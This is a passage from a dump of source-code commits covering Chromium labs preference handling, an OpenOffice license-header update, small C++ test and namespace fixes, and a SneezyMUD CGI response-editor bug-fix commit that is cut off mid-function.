a set.\nvoid GetEnabledLabs(const PrefService* prefs, std::set<std::string>* result) {\n  const ListValue* enabled_experiments = prefs->GetList(\n      prefs::kEnabledLabsExperiments);\n  if (!enabled_experiments)\n    return;\n\n  for (ListValue::const_iterator it = enabled_experiments->begin();\n       it != enabled_experiments->end();\n       ++it) {\n    std::string experiment_name;\n    if (!(*it)->GetAsString(&experiment_name)) {\n      LOG(WARNING) << \"Invalid entry in \" << prefs::kEnabledLabsExperiments;\n      continue;\n    }\n    result->insert(experiment_name);\n  }\n}\n\n\/\/ Takes a set of enabled lab experiments\nvoid SetEnabledLabs(\n    PrefService* prefs, const std::set<std::string>& enabled_experiments) {\n  ListValue* experiments_list = prefs->GetMutableList(\n      prefs::kEnabledLabsExperiments);\n  if (!experiments_list)\n    return;\n\n  experiments_list->Clear();\n  for (std::set<std::string>::const_iterator it = enabled_experiments.begin();\n       it != enabled_experiments.end();\n       ++it) {\n    experiments_list->Append(new StringValue(*it));\n  }\n}\n\n\/\/ Removes all experiments from prefs::kEnabledLabsExperiments that are\n\/\/ unknown, to prevent this list to become very long as experiments are added\n\/\/ and removed.\nvoid SanitizeList(PrefService* prefs) {\n  std::set<std::string> known_experiments;\n  for (size_t i = 0; i < arraysize(kExperiments); ++i)\n    known_experiments.insert(kExperiments[i].internal_name);\n\n  std::set<std::string> enabled_experiments;\n  GetEnabledLabs(prefs, &enabled_experiments);\n\n  std::set<std::string> new_enabled_experiments;\n  std::set_intersection(\n      known_experiments.begin(), known_experiments.end(),\n      enabled_experiments.begin(), enabled_experiments.end(),\n      std::inserter(new_enabled_experiments, new_enabled_experiments.begin()));\n\n  SetEnabledLabs(prefs, new_enabled_experiments);\n}\n\nvoid GetSanitizedEnabledLabs(\n    PrefService* prefs, std::set<std::string>* result) {\n  SanitizeList(prefs);\n  GetEnabledLabs(prefs, result);\n}\n\nint GetCurrentPlatform() {\n#if defined(OS_MACOSX)\n  return kOsMac;\n#elif defined(OS_WIN)\n  return kOsWin;\n#elif defined(OS_LINUX)\n  return kOsLinux;\n#else\n#error Unknown platform\n#endif\n}\n\nbool IsEnabled() {\n#if defined(OS_CHROMEOS)\n  \/\/ ChromeOS uses a different mechanism for about:labs; integrated with their\n  \/\/ dom ui options.\n  return false;\n#elif defined(GOOGLE_CHROME_BUILD)\n  \/\/ Don't enable this on the stable channel.\n  return !platform_util::GetVersionStringModifier().empty();\n#else\n  return true;\n#endif\n}\n\nvoid ConvertLabsToSwitches(Profile* profile, CommandLine* command_line) {\n  \/\/ Do not activate labs features on the stable channel.\n  if (!IsEnabled())\n    return;\n\n  std::set<std::string> enabled_experiments;\n  GetSanitizedEnabledLabs(profile->GetPrefs(), &enabled_experiments);\n\n  std::map<std::string, const Experiment*> experiments;\n  for (size_t i = 0; i < arraysize(kExperiments); ++i)\n    experiments[kExperiments[i].internal_name] = &kExperiments[i];\n\n  for (std::set<std::string>::iterator it = enabled_experiments.begin();\n       it != enabled_experiments.end();\n       ++it) {\n    const std::string& experiment_name = *it;\n    std::map<std::string, const Experiment*>::iterator experiment =\n        experiments.find(experiment_name);\n    DCHECK(experiment != experiments.end());\n    if (experiment == experiments.end())\n      continue;\n\n    command_line->AppendSwitch(experiment->second->command_line);\n  }\n}\n\nListValue* GetLabsExperimentsData(Profile* profile) {\n  std::set<std::string> enabled_experiments;\n  GetSanitizedEnabledLabs(profile->GetPrefs(), &enabled_experiments);\n\n  int current_platform = GetCurrentPlatform();\n\n  ListValue* experiments_data = new ListValue();\n  for (size_t i = 0; i < arraysize(kExperiments); ++i) {\n    const Experiment& experiment = kExperiments[i];\n    if (!(experiment.supported_platforms & current_platform))\n      continue;\n\n    DictionaryValue* data = new DictionaryValue();\n    data->SetString(\"internal_name\", experiment.internal_name);\n    data->SetString(\"name\",\n                    l10n_util::GetStringUTF16(experiment.visible_name_id));\n    data->SetString(\"description\",\n                    l10n_util::GetStringUTF16(\n                        experiment.visible_description_id));\n    data->SetBoolean(\"enabled\",\n                      enabled_experiments.count(experiment.internal_name) > 0);\n\n    experiments_data->Append(data);\n  }\n  return experiments_data;\n}\n\nstatic bool needs_restart_ = false;\n\nbool IsRestartNeededToCommitChanges() {\n  return needs_restart_;\n}\n\nvoid SetExperimentEnabled(\n    Profile* profile, const std::string& internal_name, bool enable) {\n  needs_restart_ = true;\n\n  std::set<std::string> enabled_experiments;\n  GetSanitizedEnabledLabs(profile->GetPrefs(), &enabled_experiments);\n\n  if (enable)\n    enabled_experiments.insert(internal_name);\n  else\n    enabled_experiments.erase(internal_name);\n\n  SetEnabledLabs(profile->GetPrefs(), enabled_experiments);\n}\n\n}  \/\/ namespace Labs\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: unonrule.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 19:28:17 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _SVX_UNONRULE_HXX\n#define _SVX_UNONRULE_HXX\n\n#ifndef _COM_SUN_STAR_CONTAINER_XINDEXREPLACE_HPP_\n#include <com\/sun\/star\/container\/XIndexReplace.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UCB_XANYCOMPARE_HPP_\n#include <com\/sun\/star\/ucb\/XAnyCompare.hpp>\n#endif\n\n#ifndef INCLUDED_SVXDLLAPI_H\n#include \"svx\/svxdllapi.h\"\n#endif\n\nclass SdrModel;\nclass SvxNumRule;\n\nSVX_DLLPUBLIC ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > SvxCreateNumRule( const SvxNumRule* pRule ) throw();\nSVX_DLLPUBLIC ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > SvxCreateNumRule( SdrModel* pModel ) throw();\nconst SvxNumRule& SvxGetNumRule( ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > xRule ) throw( ::com::sun::star::lang::IllegalArgumentException );\nbool SvxGetNumRule( ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > xRule, SvxNumRule& rNumRule );\nSVX_DLLPUBLIC ::com::sun::star::uno::Reference< ::com::sun::star::ucb::XAnyCompare > SvxCreateNumRuleCompare() throw();\n\n#endif\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.7.1256); FILE MERGED 2008\/04\/01 12:46:28 thb 1.7.1256.2: #i85898# Stripping all external header guards 2008\/03\/31 14:18:01 rt 1.7.1256.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: unonrule.hxx,v $\n * $Revision: 1.8 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _SVX_UNONRULE_HXX\n#define _SVX_UNONRULE_HXX\n\n#include <com\/sun\/star\/container\/XIndexReplace.hpp>\n#include <com\/sun\/star\/ucb\/XAnyCompare.hpp>\n#include \"svx\/svxdllapi.h\"\n\nclass SdrModel;\nclass SvxNumRule;\n\nSVX_DLLPUBLIC ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > SvxCreateNumRule( const SvxNumRule* pRule ) throw();\nSVX_DLLPUBLIC ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > SvxCreateNumRule( SdrModel* pModel ) throw();\nconst SvxNumRule& SvxGetNumRule( ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > xRule ) throw( ::com::sun::star::lang::IllegalArgumentException );\nbool SvxGetNumRule( ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexReplace > xRule, SvxNumRule& rNumRule );\nSVX_DLLPUBLIC ::com::sun::star::uno::Reference< ::com::sun::star::ucb::XAnyCompare > SvxCreateNumRuleCompare() throw();\n\n#endif\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"BigFix\/Error.h\"\n#include <gtest\/gtest.h>\n\nusing namespace BigFix;\n\nTEST( ErrorTest, ErrorIsAStdException )\n{\n  try\n  {\n    throw Error( \"Oh noes!\" );\n  }\n  catch ( const std::exception& e )\n  {\n    EXPECT_EQ( std::string( \"Oh noes!\" ), e.what() );\n  }\n  catch ( ... )\n  {\n    FAIL();\n  }\n}\n<commit_msg>gtest will catch the case where this isn't a std::exception<commit_after>#include \"BigFix\/Error.h\"\n#include <gtest\/gtest.h>\n\nusing namespace BigFix;\n\nTEST( ErrorTest, ErrorIsAStdException )\n{\n  try\n  {\n    throw Error( \"Oh noes!\" );\n  }\n  catch ( const std::exception& e )\n  {\n    EXPECT_EQ( std::string( \"Oh noes!\" ), e.what() );\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Bugfix: check for zero before dividing by `(double) number_of_frames`.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*!\n\\file\n\t\\brief\n\t\t<a href=\"http:\/\/om-language.org\">Om<\/a> source file.\n\t\\version\n\t\t0.1.2\n\t\\date\n\t\t2012-2013\n\t\\copyright\n\t\tCopyright (c) <a href=\"http:\/\/sparist.com\">Sparist<\/a>.  All rights reserved.  This program and the accompanying materials are made available under the terms of the <a href=\"http:\/\/www.eclipse.org\/legal\/epl-v10.html\">Eclipse Public License, Version 1.0<\/a>, which accompanies this distribution.\n\t\\authors\n\t\tJason Erb - Initial API, implementation, and documentation.\n*\/\n\n#include \"om\/code_point.hpp\"\n\n#if defined( Om_Macros_Test_ )\n\n\t#include \"UnitTest++.h\"\n\nnamespace Om {\n\n\tnamespace Symbols {\n\n\t\tSUITE( CodePoint ) {}\n\n\t}\n\n}\n\n#endif\n<commit_msg>Removed erroneous Symbols namespace from CodePoint.<commit_after>\/*!\n\\file\n\t\\brief\n\t\t<a href=\"http:\/\/om-language.org\">Om<\/a> source file.\n\t\\version\n\t\t0.1.2\n\t\\date\n\t\t2012-2013\n\t\\copyright\n\t\tCopyright (c) <a href=\"http:\/\/sparist.com\">Sparist<\/a>.  All rights reserved.  This program and the accompanying materials are made available under the terms of the <a href=\"http:\/\/www.eclipse.org\/legal\/epl-v10.html\">Eclipse Public License, Version 1.0<\/a>, which accompanies this distribution.\n\t\\authors\n\t\tJason Erb - Initial API, implementation, and documentation.\n*\/\n\n#include \"om\/code_point.hpp\"\n\n#if defined( Om_Macros_Test_ )\n\n\t#include \"UnitTest++.h\"\n\nnamespace Om {\n\n\tSUITE( CodePoint ) {}\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdsneezy.h\"\n#include \"database.h\"\n#include \"session.cgi.h\"\n\n#include <vector>\n#include <map>\n#include <list>\n#include \"sstring.h\"\n\n#include \"cgicc\/Cgicc.h\"\n#include \"cgicc\/HTTPHTMLHeader.h\"\n#include \"cgicc\/HTTPPlainHeader.h\"\n#include \"cgicc\/HTMLClasses.h\"\n#include <cgicc\/HTTPCookie.h>\n#include <cgicc\/CgiEnvironment.h>\n#include <cgicc\/HTTPRedirectHeader.h>\n\n#include <sys\/types.h>\n\nusing namespace cgicc;\n\n\nvoid sendJavaScript();\nsstring mudColorToHTML(sstring, bool spacer=true);\n\nvoid sendResplist(int);\nvoid sendShowResp(int, int, bool);\nvoid saveResp(Cgicc, int);\nvoid makeNewResp(Cgicc, int, bool);\nvoid delResp(Cgicc, int);\n\n\nbool checkPlayerName(int account_id, sstring name)\n{\n  TDatabase db(DB_SNEEZY);\n\n  db.query(\"select 1 from player where lower(name)=lower('%s') and account_id=%i\", name.c_str(), account_id);\n\n  if(db.fetchRow())\n    return true;\n  return false;\n}\n\nsstring getPlayerNames(int account_id)\n{\n  TDatabase db(DB_SNEEZY);\n  sstring names;\n\n  db.query(\"select lower(name) as name from player where account_id=%i\",\n\t   account_id);\n\n  if(db.fetchRow())\n    names=fmt(\"'%s'\") % db[\"name\"];\n\n  while(db.fetchRow()){\n    names+=fmt(\", '%s'\") % db[\"name\"];\n  }\n\n  return names;\n}\n\n\nint main(int argc, char **argv)\n{\n  \/\/ trick the DB code into use prod database\n  gamePort=PROD_GAMEPORT;\n\n  Cgicc cgi;\n  form_iterator state_form=cgi.getElement(\"state\");\n  TSession session(cgi, \"SneezyMUD\");\n\n  if(!session.isValid()){\n    session.doLogin(cgi, \"respeditor.cgi\");\n    return 0;\n  }\n\n  if(!session.hasWizPower(POWER_BUILDER)){\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head(title(\"Response Editor\")) << endl;\n    cout << body() << endl;\n    cout << \"You don't have permission to use this.\";\n    cout << body() << endl;\n    return 0;\n  }\n\n    \n\n  if(state_form == cgi.getElements().end() || **state_form == \"main\"){\n    sendResplist(session.getAccountID());\n    return 0;\n  } else if(**state_form == \"delresp\"){\n    delResp(cgi, session.getAccountID());\n    sendResplist(session.getAccountID());\n    return 0;    \n  } else if(**state_form == \"newresp\"){\n    form_iterator vnum=cgi.getElement(\"vnum\");\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head() << title(\"Respeditor\") << endl;\n    cout << head() << body() << endl;\n\n    makeNewResp(cgi, session.getAccountID(), session.hasWizPower(POWER_LOAD));\n    sendShowResp(session.getAccountID(), convertTo<int>(**vnum),\n\t\tsession.hasWizPower(POWER_WIZARD));\n    return 0;    \n  } else if(**state_form == \"showresp\"){\n    form_iterator vnum=cgi.getElement(\"vnum\");\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head() << title(\"Respeditor\") << endl;\n    cout << head() << body() << endl;\n    \n    sendShowResp(session.getAccountID(), convertTo<int>(**vnum),\n\t\tsession.hasWizPower(POWER_WIZARD));\n    return 0;\n  } else if(**state_form == \"saveresp\"){\n    form_iterator vnum=cgi.getElement(\"vnum\");\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head() << title(\"Respeditor\") << endl;\n    cout << head() << body() << endl;\n    \n    saveResp(cgi, session.getAccountID());\n    sendShowResp(session.getAccountID(), convertTo<int>(**vnum),\n\t\tsession.hasWizPower(POWER_WIZARD));\n    return 0;\n  } else if(**state_form == \"logout\"){\n    session.logout();\n    cout << HTTPRedirectHeader(\"respeditor.cgi\").setCookie(session.getCookie());\n    cout << endl;\n    return 0;\n  }\n  \n  cout << HTTPHTMLHeader() << endl;\n  cout << html() << head() << title(\"Respeditor\") << endl;\n  cout << head() << body() << endl;\n  cout << \"Fell through state switch.  Bad.<p><hr><p>\" << endl;\n  cout << **state_form << endl;\n  cout << body() << endl;\n  cout << html() << endl;\n  \n  return 0;\n}\n\nvoid delResp(Cgicc cgi, int account_id)\n{\n  TDatabase db(DB_IMMORTAL);\n\n  if(!checkPlayerName(account_id, **(cgi.getElement(\"owner\")))){\n    cout << \"Owner name didn't match - security violation.\";\n    return;\n  }\n\n  db.query(\"delete from mobresponse where vnum=%s and owner='%s'\",\n\t   (**(cgi.getElement(\"vnum\"))).c_str(),\n\t   (**(cgi.getElement(\"owner\"))).c_str());\n}\n\n\nvoid makeNewResp(Cgicc cgi, int account_id, bool power_load)\n{\n  TDatabase db(DB_IMMORTAL);\n  TDatabase db_sneezy(DB_SNEEZY);\n\n  if(!checkPlayerName(account_id, **(cgi.getElement(\"owner\")))){\n    cout << \"Owner name didn't match - security violation.\";\n    return;\n  }\n  \n  db_sneezy.query(\"select response from mobresponses where vnum=%s\", (**(cgi.getElement(\"template\"))).c_str());\n  db_sneezy.fetchRow();\n\n  db.query(\"insert into mobresponses (ownerm vnum, response) values ('%s', %s, '%s')\",\n\t   (**(cgi.getElement(\"owner\"))).c_str(),\n\t   (**(cgi.getElement(\"vnum\"))).c_str(),\n\t   db_sneezy[\"response\"].c_str());\n\n}\n\n\nvoid saveResp(Cgicc cgi, int account_id)\n{\n  TDatabase db(DB_IMMORTAL);\n\n  if(!checkPlayerName(account_id, **(cgi.getElement(\"owner\")))){\n    cout << \"Owner name didn't match - security violation.\";\n    return;\n  }\n\n  db.query(\"delete from mobresponses where owner='%s' and vnum=%s\",\n  \t   (**(cgi.getElement(\"owner\"))).c_str(), \n  \t   (**(cgi.getElement(\"vnum\"))).c_str());\n  \n  db.query(\"insert into mobresponses (owner, vnum, response) values ('%s', %s, '%s')\",\n\t   (**(cgi.getElement(\"owner\"))).c_str(),\n\t   (**(cgi.getElement(\"vnum\"))).c_str(),\n\t   (**(cgi.getElement(\"response\"))).c_str());\n\n  cout << \"Saved.<br>\";\n}\n\n\nvoid sendShowResp(int account_id, int vnum, bool wizard)\n{\n  TDatabase db(DB_IMMORTAL);\n\n  assign_item_info();\n\n  db.query(\"select owner, vnum, response from mobresonses where vnum=%i and owner in (%r)\", vnum, getPlayerNames(account_id).c_str());\n  db.fetchRow();\n\n  cout << \"<form method=post action=objeditor.cgi>\" << endl;\n  cout << \"<table width=100%><tr>\";\n  cout << \"<td align=left><button name=state value=logout type=submit>logout<\/button><\/td>\";\n  cout << \"<td align=left><button name=state value=main type=submit>response list<\/button><\/td>\";\n  cout << \"<td width=100% align=right><button name=state value=delresp type=submit>delete<\/button><\/td>\";\n  cout << \"<input type=hidden name=owner value='\" << db[\"owner\"] << \"'>\";\n  cout << \"<input type=hidden name=vnum value='\" << vnum << \"'>\";\n  cout << \"<p><\/form>\" << endl;\n\n  cout << \"<form action=\\\"respeditor.cgi\\\" method=post name=saveresp>\" << endl;\n  cout << \"<input type=hidden name=state value=saveresp>\" << endl;\n\n  cout << \"<input type=hidden name=owner value='\" << db[\"owner\"] << \"'>\";\n\n\n  cout << \"<table border=1>\";\n\n\n  cout << fmt(\"<tr><td>%s<\/td><td><input type=text size=127 name='%s' value='%s'><\/td><\/tr>\\n\") % \"vnum\" % \"vnum\" % db[\"vnum\"];\n\n\n  sstring buf=db[\"response\"];\n  while (buf.find(\"'\") != sstring::npos)\n    buf.replace(buf.find(\"'\"), 1, \"&#146;\");\n\n  cout << fmt(\"<tr><td>%s<\/td><td><input type=text size=127 name='%s' value='%s'><\/td><\/tr>\\n\") % \"response\" % \"response\" % buf;\n\n  cout << fmt(\"<tr><td><\/td><td bgcolor=black>%s<\/td><\/tr>\\n\") % \n    mudColorToHTML(db[\"response\"]);\n\n\n  cout << \"<\/table>\";\n\n  cout << \"<input type=submit value='save changes'>\";\n  cout << \"<\/form>\" << endl;\n\n  cout << body() << endl;\n  cout << html() << endl;\n  \n  \n}\n\nvoid sendResplist(int account_id){\n  TDatabase db(DB_IMMORTAL);\n\n  cout << HTTPHTMLHeader() << endl;\n  cout << html() << head() << title(\"Respeditor\") << endl;\n  sendJavaScript();\n  cout << head() << body() << endl;\n\n  cout << \"<form method=post action=respeditor.cgi>\" << endl;\n  cout << \"<button name=state value=logout type=submit>logout<\/button>\";\n  cout << \"<p><\/form>\";\n\n  sstring buildername;\n\n  db.query(\"select owner, max(vnum)+1 as nvnum from resp where lower(owner) in (%r) group by owner\",\n\t   getPlayerNames(account_id).c_str());\n  \n  if(db.fetchRow())\n    buildername=db[\"owner\"];\n  else {\n    \/\/ no objects yet\n    TDatabase db_sneezy(DB_SNEEZY);\n    db_sneezy.query(\"select p.name as name from wizpower w, account a, player p where p.id=w.player_id and p.account_id=a.account_id and a.account_id=%i and w.wizpower=%i\", account_id, mapWizPowerToFile(POWER_BUILDER));\n    db_sneezy.fetchRow();\n    buildername=db_sneezy[\"name\"];\n  }\n\n  cout << \"<form method=post action=respeditor.cgi>\" << endl;\n  cout << \"<button name=state value=newresp type=submit>new resp<\/button>\";\n  cout << \"vnum <input type=text name=vnum value=\" << db[\"nvnum\"] << \">\";\n  cout << \"template <input type=text name=template value=1>\";\n  cout << \"<input type=hidden name=owner value='\" << buildername << \"'>\";\n  cout << \"<\/form>\";\n  cout << endl;\n\n  cout << \"<form action=\\\"respeditor.cgi\\\" method=post name=pickresp>\" << endl;\n  cout << \"<input type=hidden name=vnum>\" << endl;\n  cout << \"<input type=hidden name=state>\" << endl;\n\n  cout << \"<table border=1>\";\n  cout << \"<tr><td>vnum<\/td><td>name<\/td><td>short_desc<\/td><td>extras<\/td><td>affects<\/td><\/tr>\";\n\n  db.query(\"select vnum, name, short_desc from resp o where lower(owner) in (%r) order by vnum asc\", getPlayerNames(account_id).c_str());\n  \n\n  while(db.fetchRow()){\n    cout << \"<tr><td>\" << \"<a href=javascript:pickresp('\" << db[\"vnum\"];\n    cout << \"','showresp')>\" << db[\"vnum\"] << \"<\/a>\" << endl;\n    cout << \"<\/td>\" << endl;\n    cout << \"<\/tr>\" << endl;\n\n  }\n\n  cout << \"<\/table><\/form>\" << endl;\n\n  cout << body() << endl;\n  cout << html() << endl;\n}\n\n\nvoid sendJavaScript()\n{\n  cout << \"<script language=\\\"JavaScript\\\" type=\\\"text\/javascript\\\">\" << endl;\n  cout << \"<!--\" << endl;\n\n  cout << \"function pickresp(vnum, state)\" << endl;\n  cout << \"{\" << endl;\n  cout << \"document.pickresp.state.value = state;\" << endl;\n  cout << \"document.pickresp.vnum.value = vnum;\" << endl;\n  cout << \"document.pickresp.submit();\" << endl;\n  cout << \"}\" << endl;\n\n  cout << \"-->\" << endl;\n  cout << \"<\/script>\" << endl;\n\n\n}\n\n\/\/ candidate for inclusion in sstring\nvoid replaceString(sstring &str, sstring find, sstring replace)\n{\n  while(str.find(find)!=sstring::npos){\n    str.replace(str.find(find), find.size(), replace);\n  }\n}\n\n\/\/ candidate for some sort of global cgi tools library\nsstring mudColorToHTML(sstring str, bool spacer)\n{\n\n  replaceString(str, \"\\n\", \"<br>\");\n\n  replaceString(str, \"<f>\", \"\");\n  \/\/  replaceString(str, \" \", \"&nbsp;\");\n  replaceString(str, \"<r>\", \"<\/span><span style=\\\"color:red\\\">\");\n  replaceString(str, \"<R>\", \"<\/span><span style=\\\"color:red;font-weight:bold\\\">\");\n\n  replaceString(str, \"<b>\", \"<\/span><span style=\\\"color:blue\\\">\");\n  replaceString(str, \"<B>\", \"<\/span><span style=\\\"color:blue;font-weight:bold\\\">\");\n  replaceString(str, \"<g>\", \"<\/span><span style=\\\"color:green\\\">\");\n  replaceString(str, \"<G>\", \"<\/span><span style=\\\"color:green;font-weight:bold\\\">\");\n  replaceString(str, \"<c>\", \"<\/span><span style=\\\"color:cyan\\\">\");\n  replaceString(str, \"<C>\", \"<\/span><span style=\\\"color:cyan;font-weight:bold\\\">\");\n  replaceString(str, \"<p>\", \"<\/span><span style=\\\"color:purple\\\">\");\n  replaceString(str, \"<P>\", \"<\/span><span style=\\\"color:purple;font-weight:bold\\\">\");\n  replaceString(str, \"<o>\", \"<\/span><span style=\\\"color:orange\\\">\");\n  replaceString(str, \"<O>\", \"<\/span><span style=\\\"color:orange;font-weight:bold\\\">\");\n  replaceString(str, \"<y>\", \"<\/span><span style=\\\"color:yellow\\\">\");\n  replaceString(str, \"<Y>\", \"<\/span><span style=\\\"color:yellow;font-weight:bold\\\">\");\n  replaceString(str, \"<k>\", \"<\/span><span style=\\\"color:gray\\\">\");\n  replaceString(str, \"<K>\", \"<\/span><span style=\\\"color:gray;font-weight:bold\\\">\");\n  replaceString(str, \"<w>\", \"<\/span><span style=\\\"color:white\\\">\");\n  replaceString(str, \"<W>\", \"<\/span><span style=\\\"color:white;font-weight:bold\\\">\");\n  replaceString(str, \"<Z>\", \"<\/span><span style=\\\"color:white\\\">\");\n  replaceString(str, \"<z>\", \"<\/span><span style=\\\"color:white\\\">\");\n  replaceString(str, \"<1>\", \"<\/span><span style=\\\"color:white\\\">\");\n\n  \/\/ to help builders line up text\n  sstring spacing_strip=\"01234567890123456789012345678901234567890123456789012345678901234567890123456789<br>\";\n\n  if(!spacer)\n    spacing_strip=\"\";\n\n  return fmt(\"<span style=\\\"color:white\\\"><font face=\\\"courier\\\">%s%s<\/font><\/span>\") % spacing_strip % str;\n}\n\n<commit_msg>fixed a few bugs, tested<commit_after>#include \"stdsneezy.h\"\n#include \"database.h\"\n#include \"session.cgi.h\"\n\n#include <vector>\n#include <map>\n#include <list>\n#include \"sstring.h\"\n\n#include \"cgicc\/Cgicc.h\"\n#include \"cgicc\/HTTPHTMLHeader.h\"\n#include \"cgicc\/HTTPPlainHeader.h\"\n#include \"cgicc\/HTMLClasses.h\"\n#include <cgicc\/HTTPCookie.h>\n#include <cgicc\/CgiEnvironment.h>\n#include <cgicc\/HTTPRedirectHeader.h>\n\n#include <sys\/types.h>\n\nusing namespace cgicc;\n\n\nvoid sendJavaScript();\nsstring mudColorToHTML(sstring, bool spacer=true);\n\nvoid sendResplist(int);\nvoid sendShowResp(int, int, bool);\nvoid saveResp(Cgicc, int);\nvoid makeNewResp(Cgicc, int, bool);\nvoid delResp(Cgicc, int);\n\n\nbool checkPlayerName(int account_id, sstring name)\n{\n  TDatabase db(DB_SNEEZY);\n\n  db.query(\"select 1 from player where lower(name)=lower('%s') and account_id=%i\", name.c_str(), account_id);\n\n  if(db.fetchRow())\n    return true;\n  return false;\n}\n\nsstring getPlayerNames(int account_id)\n{\n  TDatabase db(DB_SNEEZY);\n  sstring names;\n\n  db.query(\"select lower(name) as name from player where account_id=%i\",\n\t   account_id);\n\n  if(db.fetchRow())\n    names=fmt(\"'%s'\") % db[\"name\"];\n\n  while(db.fetchRow()){\n    names+=fmt(\", '%s'\") % db[\"name\"];\n  }\n\n  return names;\n}\n\n\nint main(int argc, char **argv)\n{\n  \/\/ trick the DB code into use prod database\n  gamePort=PROD_GAMEPORT;\n\n  Cgicc cgi;\n  form_iterator state_form=cgi.getElement(\"state\");\n  TSession session(cgi, \"SneezyMUD\");\n\n  if(!session.isValid()){\n    session.doLogin(cgi, \"respeditor.cgi\");\n    return 0;\n  }\n\n  if(!session.hasWizPower(POWER_BUILDER)){\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head(title(\"Response Editor\")) << endl;\n    cout << body() << endl;\n    cout << \"You don't have permission to use this.\";\n    cout << body() << endl;\n    return 0;\n  }\n\n    \n\n  if(state_form == cgi.getElements().end() || **state_form == \"main\"){\n    sendResplist(session.getAccountID());\n    return 0;\n  } else if(**state_form == \"delresp\"){\n    delResp(cgi, session.getAccountID());\n    sendResplist(session.getAccountID());\n    return 0;    \n  } else if(**state_form == \"newresp\"){\n    form_iterator vnum=cgi.getElement(\"vnum\");\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head() << title(\"Respeditor\") << endl;\n    cout << head() << body() << endl;\n\n    makeNewResp(cgi, session.getAccountID(), session.hasWizPower(POWER_LOAD));\n    sendShowResp(session.getAccountID(), convertTo<int>(**vnum),\n\t\tsession.hasWizPower(POWER_WIZARD));\n    return 0;    \n  } else if(**state_form == \"showresp\"){\n    form_iterator vnum=cgi.getElement(\"vnum\");\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head() << title(\"Respeditor\") << endl;\n    cout << head() << body() << endl;\n    \n    sendShowResp(session.getAccountID(), convertTo<int>(**vnum),\n\t\tsession.hasWizPower(POWER_WIZARD));\n    return 0;\n  } else if(**state_form == \"saveresp\"){\n    form_iterator vnum=cgi.getElement(\"vnum\");\n    cout << HTTPHTMLHeader() << endl;\n    cout << html() << head() << title(\"Respeditor\") << endl;\n    cout << head() << body() << endl;\n    \n    saveResp(cgi, session.getAccountID());\n    sendShowResp(session.getAccountID(), convertTo<int>(**vnum),\n\t\tsession.hasWizPower(POWER_WIZARD));\n    return 0;\n  } else if(**state_form == \"logout\"){\n    session.logout();\n    cout << HTTPRedirectHeader(\"respeditor.cgi\").setCookie(session.getCookie());\n    cout << endl;\n    return 0;\n  }\n  \n  cout << HTTPHTMLHeader() << endl;\n  cout << html() << head() << title(\"Respeditor\") << endl;\n  cout << head() << body() << endl;\n  cout << \"Fell through state switch.  Bad.<p><hr><p>\" << endl;\n  cout << **state_form << endl;\n  cout << body() << endl;\n  cout << html() << endl;\n  \n  return 0;\n}\n\nvoid delResp(Cgicc cgi, int account_id)\n{\n  TDatabase db(DB_IMMORTAL);\n\n  if(!checkPlayerName(account_id, **(cgi.getElement(\"owner\")))){\n    cout << \"Owner name didn't match - security violation.\";\n    return;\n  }\n\n  db.query(\"delete from mobresponses where vnum=%s and owner='%s'\",\n\t   (**(cgi.getElement(\"vnum\"))).c_str(),\n\t   (**(cgi.getElement(\"owner\"))).c_str());\n}\n\n\nvoid makeNewResp(Cgicc cgi, int account_id, bool power_load)\n{\n  TDatabase 